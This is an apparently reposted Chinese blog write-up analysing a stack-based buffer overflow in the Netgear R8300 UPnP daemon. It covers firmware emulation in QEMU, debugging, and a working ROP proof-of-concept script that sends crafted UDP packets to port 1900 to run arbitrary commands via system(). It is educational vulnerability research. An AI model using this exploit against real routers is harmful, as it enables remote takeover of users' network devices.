51工具盒子

依楼听风雨
笑看云卷云舒,淡观潮起潮落

Netgear R8300栈溢出漏洞分析

漏洞描述:

在upnpd文件sub_25E04函数中,存在栈溢出漏洞。strcpy时未检查长度,造成溢出并可构造ROP攻击实现命令执行。
版本:1.0.2.134

漏洞分析与复现
一、固件模拟
利用qemu系统模拟:

                  qemu启动:
                  

                  qemu-system-arm -M vexpress-a9 -kernel vmlinuz-3.2.0-4-vexpress -initrd initrd.img-3.2.0-4-vexpress -drive 
                  
                    if
                  
                  =sd,file=debian_wheezy_armhf_standard.qcow2 -append 
                  
                    "root=/dev/mmcblk0p2"
                  
                   -net nic -net tap -nographic
                  

                  ubuntu网络配置:
                  

                  
                    #! /bin/sh 
                  
                  

                  sudo sysctl -w net.ipv4.ip_forward=1 
                  

                  sudo iptables -F 
                  

                  sudo iptables -X 
                  

                  sudo iptables -t nat -F 
                  

                  sudo iptables -t nat -X 
                  

                  sudo iptables -t mangle -F 
                  

                  sudo iptables -t mangle -X 
                  

                  sudo iptables -P INPUT ACCEPT 
                  

                  sudo iptables -P FORWARD ACCEPT 
                  

                  sudo iptables -P OUTPUT ACCEPT 
                  

                  sudo iptables -t nat -A POSTROUTING -o ens33 -j MASQUERADE 
                  

                  sudo iptables -I FORWARD 1 -i tap0 -j ACCEPT 
                  

                  sudo iptables -I FORWARD 1 -o tap0 -m state --state RELATED,ESTABLISHED -j ACCEPT 
                  

                  sudo ifconfig tap0 192.168.100.254 netmask 255.255.255.0
                  

                  qemu网络配置:
                  

                  
                    #!/bin/sh 
                  
                  

                  ifconfig eth0 192.168.100.2 netmask 255.255.255.0 
                  

                  route add default gw 192.168.100.254
                  

                  传输文件:
                  

                  scp -r squashfs-root/ root@192.168.x.x:~/
                  

                  运行:
                  

                  mount -t proc /proc ./squashfs-root/proc
                  

                  mount -o 
                  
                    bind
                  
                   /dev ./squashfs-root/dev
                  

                  chroot ./squashfs-root/ sh

1、修复run文件:
提示报错如下,发现是缺少对应文件

                  3247 open(
                  
                    "/var/run/upnpd.pid"
                  
                  ,O_RDWR|O_CREAT|O_TRUNC,0666) = -1 errno=2 (No such file or directory)

于是手动创建对应文件:

                  mkdir -p ./tmp/var/run

2、修复nvram文件:
重新运行upnpd文件,又报错,追踪到报错如下:

                  /dev/nvram: No such device
                  

                  3274 open(
                  
                    "/lib/libnvram.so"
                  
                  ,O_RDONLY) = -1 errno=2 (No such file or directory)
                  

                  3276 open(
                  
                    "/dev/nvram"
                  
                  ,O_RDWR) = -1 errno=2 (No such file or directory)
                  

                  /dev/nvram3276 write(2,0x3ff794d8,10) = 10

发现是缺少nvram依赖,nvram中保存了设备的一些配置信息,而程序运行时需要读取配置信息,由于缺少对应的外设,因此会报错。要编译nvram文件,可以使用Firmadyne提供的libnvram库,因为其支持很多的api。
Firmadyne提供的库地址如下:https://github.com/firmadyne/libnvram

网上也有专门为netgear路由器编写的nvram文件,这次选用这个专用的。链接如下:https://raw.githubusercontent.com/therealsaumil/custom_nvram/master/custom_nvram_r6250.c

这里本来想用arm的交叉编译工具链编译,但是一直报错,在这里使用buildroot安装交叉编译工具链。

                  tar -xzvf buildroot-2019.02.1.tar.gz
                  

                  sudo chmod -R 777 buildroot-2019.02.1
                  

                  sudo make clean
                  

                  sudo make menuconfig
                  

                  设置架构为arm little endian
                  

                  sudo make -j8
                  

                  gedit /etc/profile
                  

                  
                    export
                  
                   PATH=
                  
                    $PATH
                  
                  :/home/ubuntu/buildroot-2019.02.1/output/host/usr/bin
                  

                  
                    source
                  
                   /etc/profile

然后编译nvram.c文件

                  arm-linux-gcc -Wall -fPIC -shared custom_nvram_r6250.c -o nvram.so

手动加载nvram.so文件,再次运行:

                  LD_PRELOAD=
                  
                    "./nvram.so"
                  
                   ./usr/sbin/upnpd

提示报错:

                    # ./usr/sbin/upnpd: can't resolve symbol 'dlsym'

3、dlsym劫持
nvram库的实现者还同时 hook 了 system、fopen、open 等函数,因此还会用到 dlsym,/lib/libdl.so.0导出了该符号。因此运行的时候注意还要加载该链接库。查找其对应的libc文件

                  $ grep -r 
                  
                    "dlsym"
                  
                  

                  Binary file nvram.so matches
                  

                  Binary file sbin/pppd matches
                  

                  Binary file usr/
                  
                    local
                  
                  /sbin/openvpn matches
                  

                  Binary file usr/sbin/tc matches
                  

                  Binary file usr/sbin/afpd matches
                  

                  Binary file usr/lib/libasound.so matches
                  

                  Binary file usr/lib/libsqlite3.so matches
                  

                  nvram.c:   real_system = dlsym(RTLD_NEXT, 
                  
                    "system"
                  
                  );
                  

                  nvram.c:   real_fopen = dlsym(RTLD_NEXT, 
                  
                    "fopen"
                  
                  );
                  

                  nvram.c:   real_open = dlsym(RTLD_NEXT, 
                  
                    "open"
                  
                  );
                  

                  Binary file lib/libldb.so.1 matches
                  

                  Binary file lib/libhcrypto-samba4.so.5 matches
                  

                  Binary file lib/libkrb5-samba4.so.26 matches
                  

                  Binary file lib/libdl.so.0 matches
                  

                  Binary file lib/libsqlite3.so.0 matches
                  

                  Binary file lib/libcrypto.so.1.0.0 matches
                  

                  Binary file lib/libsamba-modules-samba4.so matches
                  

                  

                  $ readelf -a lib/libdl.so.0 | grep dlsym
                  

                  26: 000010f0   296 FUNC    GLOBAL DEFAULT    7 dlsym

再次手动加载运行:

                  LD_PRELOAD=
                  
                    "./nvram.so ./lib/libdl.so.0"
                  
                   ./usr/sbin/upnpd

提示报错:

                  [0x3ff60cb8] fopen(
                  
                    '/tmp/nvram.ini'
                  
                  , 
                  
                    'r'
                  
                  ) = 0x00000000
                  

                  Cannot open /tmp/nvram.ini

4、修复nvram.ini文件
修复nvram.ini文件参考网上资料:[https://github.com/zcutlip/nvram-faker/blob/master/nvram.ini]https://github.com/zcutlip/nvram-faker/blob/master/nvram.ini

                  upnpd_debug_level=9
                  

                  lan_ipaddr=192.168.100.2(用户模拟对应本机ip,qemu对应qemu的ip)
                  

                  hwver=R8500
                  

                  friendly_name=R8300
                  

                  upnp_enable=1
                  

                  upnp_turn_on=1
                  

                  upnp_advert_period=30
                  

                  upnp_advert_ttl=4
                  

                  upnp_portmap_entry=1
                  

                  upnp_duration=3600
                  

                  upnp_DHCPServerConfigurable=1
                  

                  wps_is_upnp=0
                  

                  upnp_sa_uuid=00000000000000000000
                  

                  lan_hwaddr=AA:BB:CC:DD:EE:FF

直接在tmp文件夹中创建nvram.ini并填入上述内容即可

再次运行upnpd文件,即可成功执行:

                    # LD_PRELOAD="./nvram.so ./lib/libdl.so.0" ./usr/sbin/upnpd
                  
                  

                  
                    # [0x00026460] fopen('/var/run/upnpd.pid', 'wb+') = 0x004bf008
                  
                  

                  [0x0002648c] custom_nvram initialised
                  

                  [0x76e65cb8] fopen(
                  
                    '/tmp/nvram.ini'
                  
                  , 
                  
                    'r'
                  
                  ) = 0x004bf008
                  

                  [nvram 0] upnpd_debug_level = 9
                  

                  [nvram 1] lan_ipaddr = 192.168.100.2
                  

                  [nvram 2] hwver = R8500
                  

                  [nvram 3] friendly_name = R8300
                  

                  [nvram 4] upnp_enable = 1
                  

                  [nvram 5] upnp_turn_on = 1
                  

                  [nvram 6] upnp_advert_period = 30
                  

                  [nvram 7] upnp_advert_ttl = 4
                  

                  [nvram 8] upnp_portmap_entry = 1
                  

                  [nvram 9] upnp_duration = 3600
                  

                  [nvram 10] upnp_DHCPServerConfigurable = 1
                  

                  [nvram 11] wps_is_upnp = 0
                  

                  [nvram 12] upnp_sa_uuid = 00000000000000000000
                  

                  [nvram 13] lan_hwaddr = AA:BB:CC:DD:EE:FF
                  

                  [nvram 14] lan_hwaddr = 
                  

                  Read 15 entries from /tmp/nvram.ini
                  

                  acosNvramConfig_get(
                  
                    'upnpd_debug_level'
                  
                  ) = 
                  
                    '9'
                  
                  

                  [0x0002652c] acosNvramConfig_get(
                  
                    'upnpd_debug_level'
                  
                  ) = 
                  
                    '9'
                  
                  

                  set_value_to_org_xml:1149()
                  

                  [0x0000e1e8] fopen(
                  
                    '/www/Public_UPNP_gatedesc.xml'
                  
                  , 
                  
                    'rb'
                  
                  ) = 0x004bf008
                  

                  [0x0000e220] fopen(
                  
                    '/tmp/upnp_xml'
                  
                  , 
                  
                    'wb+'
                  
                  ) = 0x004bf008
                  

                  data2XML()
                  

                  [0x0000f520] acosNvramConfig_get(
                  
                    'lan_ipaddr'
                  
                  ) = 
                  
                    '192.168.100.2'
                  
                  

                  xmlValueConvert()
                  

                  [0x76da1838] acosNvramConfig_get(
                  
                    'hwrev'
                  
                  ) = 
                  
                    ''
                  
                  

                  [0x0000b40c] acosNvramConfig_get(
                  
                    'hwver'
                  
                  ) = 
                  
                    'R8500'
                  
                  

                  [0x0000b428] acosNvramConfig_get(
                  
                    'hwver'
                  
                  ) = 
                  
                    'R8500'
                  
                  

                  [0x76da1838] acosNvramConfig_get(
                  
                    'hwrev'
                  
                  ) = 
                  
                    ''
                  
                  

                  [0x0000b478] acosNvramConfig_get(
                  
                    'hwver'
                  
                  ) = 
                  
                    'R8500'
                  
                  

                  [0x0000b494] acosNvramConfig_get(
                  
                    'hwver'
                  
                  ) = 
                  
                    'R8500'
                  
                  

                  [0x0000f4ec] acosNvramConfig_get(
                  
                    'friendly_name'
                  
                  ) = 
                  
                    'R8300'
                  
                  

                  xmlValueConvert()

二、漏洞分析与调试
逆向分析upnpd文件如下,v51变量recvfrom获取内容后,调用sub_25E04函数,其中的strcpy函数将v51超长数据直接赋值给v39较小的缓冲区,造成栈溢出:

利用gdbserver进行调试:

                  qemu端:
                  

                  
                    # echo 0 > /proc/sys/kernel/randomize_va_space 关闭地址随机化
                  
                  

                  
                    # ps | grep upnp
                  
                  

                   2446 0          3324 S   ./usr/sbin/upnpd 
                  

                   2688 0          1296 S   grep upnp
                  

                  
                    # ./gdbserver-7.7.1-armhf-eabi5-v1-sysv :12345 --attach 2446
                  
                  

                  主机端:
                  

                  gdb-multiarch
                  

                  pwndbg> 
                  
                    set
                  
                   architecture arm
                  

                  pwndbg> 
                  
                    set
                  
                   endian little
                  

                  pwndbg> target remote 192.168.100.2:12345

返回地址所在栈空间和strcpy目标地址如下图:


因此可知strcpy目标地址距离返回地址长度为:0x7ec6bc1c-0x7ec6b5ec=0x630
构造数据包发送:


                    #!/usr/bin/python3
                  
                  

                  import socket
                  

                  import struct
                  

                  p32 = lambda x: struct.pack(
                  
                    "<L"
                  
                  , x)
                  

                  s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
                  

                  payload = (
                  

                      0x630 * b
                  
                    'a'
                  
                   +
                  

                      p32(0x43434343)
                  

                  )
                  

                  
                    print
                  
                  (payload)
                  

                  s.connect((
                  
                    '192.168.100.2'
                  
                  , 1900))
                  

                  s.send(payload)
                  

                  s.close()

但是这样发送不能成功覆盖返回地址,报错如下:

因为漏洞函数内的v39指针曾经存储到v41,v41在后续还被调用,如果被覆盖为无效地址后会产生异常,因此发送payload时,要把v41指针,即[R7-#8]所在的栈空间覆盖为有效地址,这里将其覆盖为原先v39的地址,调试得到与strcpy目标地址的偏移为0x604

因此构造新的数据包发送:


                    #!/usr/bin/python3
                  
                  

                  import socket
                  

                  import struct
                  

                  p32 = lambda x: struct.pack(
                  
                    "<L"
                  
                  , x)
                  

                  s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
                  

                  payload = (
                  

                      0x604 * b
                  
                    'a'
                  
                   +  
                  

                      p32(0x7effd5ec) +  
                  
                    # v41
                  
                  

                      0x28 * b
                  
                    'a'
                  
                   +  
                  

                      p32(0x43434343)
                  

                  )
                  

                  s.connect((
                  
                    '192.168.100.2'
                  
                  , 1900))
                  

                  s.send(payload)
                  

                  s.close()

覆盖返回地址如下图:

但是发现发送的payload为0x43434343,但是覆盖之后变为0x43434342,末位由1变为了0。这点可以参考链接:https://blog.3or.de/arm-exploitation-defeating-dep-executing-mprotect.html


                  原因总之来说为:  
                  

                  1.首先溢出覆盖了非叶函数的返回地址。一旦这个函数执行它的结束语来恢复保存的值,保存的LR就被弹出到PC中返回给调用者。  
                  

                  2.其次关于最低有效位的一个注意事项:BX指令将加载到PC的地址的LSB复制到CPSR寄存器的T状态位,CPSR寄存器在ARM和Thumb模式之间切换:ARM(LSB=0)/Thumb(LSB=1)。  
                  

                  我们可以看到R8300是运行在THUMB状态:  
                  

                  当处理器处于ARM状态时,每条ARM指令为4个字节,所以PC寄存器的值为当前指令地址 + 8字节  
                  

                  当处理器处于Thumb状态时,每条Thumb指令为2字节,所以PC寄存器的值为当前指令地址 + 4字节  
                  

                  因此保存的LR(用0x43434343覆盖)被弹出到PC中,然后弹出地址的LSB被写入CPSR寄存器T位(位5),最后PC本身的LSB被设置为0,从而产生0x43434342
                  

                  

                  但是这条指令其实不是bx指令,但是因为精简指令集地址四字节对齐的缘故,地址要被4能够整除那么末两个字节必须都为0,所以会变为0x42

checksec检查upnpd文件如下:

                  Arch:     arm-32-little
                  

                  RELRO:    No RELRO
                  

                  Stack:    No canary found
                  

                  NX:       NX enabled
                  

                  PIE:      No PIE (0x8000)

因此可知目前有以下条件:

                  1.可以通过栈溢出控制R4-R11以及PC寄存器的值
                  

                  2.存在ASLR防护,因此不能直接写死libc的地址
                  

                  3.存在NX防护,因此不能直接将shellcod布置到栈空间上
                  

                  4.strcpy函数导致的栈溢出,因此payload中不能包含
                  
                    'x00'
                  
                  字节,否则会被截断

三、漏洞利用
漏洞利用思路如下图,整体思路为利用堆栈复用。先利用第一次recvfrom,将expayload布置到栈空间上,并利用strcpy'x00'截断的特性,不会造成漏洞函数的溢出。

整体的ROP链构造思路如下图所示:

因此构造poc如下:


                  import socket
                  

                  import struct
                  

                  p32 = lambda x: struct.pack(
                  
                    "<L"
                  
                  , x)
                  

                  s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
                  

                  cmd=raw_input(
                  
                    "cmd injection: "
                  
                  )
                  

                  payload1 = (
                  

                      
                  
                    'x00'
                  
                  +  
                  

                      0x7bb*
                  
                    'a'
                  
                   + 
                  

                      p32(0x970a0)+              
                  
                    #r4,bss
                  
                  

                      8*
                  
                    'a'
                  
                  +                     
                  
                    #r5,r6
                  
                  

                      p32(0xb764)+               
                  
                    #gadget2
                  
                  

                      cmd.ljust(0x400,
                  
                    "x00"
                  
                  )+   
                  
                    #sp
                  
                  

                      0xc*
                  
                    'a'
                  
                  +                   
                  
                    #r4,r5,r6
                  
                  

                      p32(0xaaac)                
                  
                    #system
                  
                  

                  )
                  

                  payload2=(
                  

                      0x604 * b
                  
                    'a'
                  
                   +  
                  

                      p32(0x7effd5fc) +          
                  
                    #v41
                  
                  

                      0x28 * b
                  
                    'a'
                  
                   +               
                  

                      p32(0x13334)               
                  
                    #gadget1
                  
                  

                  )
                  

                  s.connect((
                  
                    '192.168.100.2'
                  
                  , 1900))
                  

                  s.send(payload1)
                  

                  s.send(payload2)
                  

                  s.close()

RCE如下图所示:

总结
通过此漏洞调试可以全面系统的了解iot漏洞的模拟、分析、调试、利用流程。

参考资料:
https://cq674350529.github.io/2020/09/16/PSV-2020-0211-Netgear-R8300-UPnP%E6%A0%88%E6%BA%A2%E5%87%BA%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/
https://cool-y.github.io/2021/01/08/Netgear-psv-2020-0211/

end

本文作者: ChaMd5安全团队

本文为安全脉搏专栏作者发布,转载请注明: https://www.secpulse.com/archives/175968.html

赞(0)
未经允许不得转载:工具盒子 » Netgear R8300栈溢出漏洞分析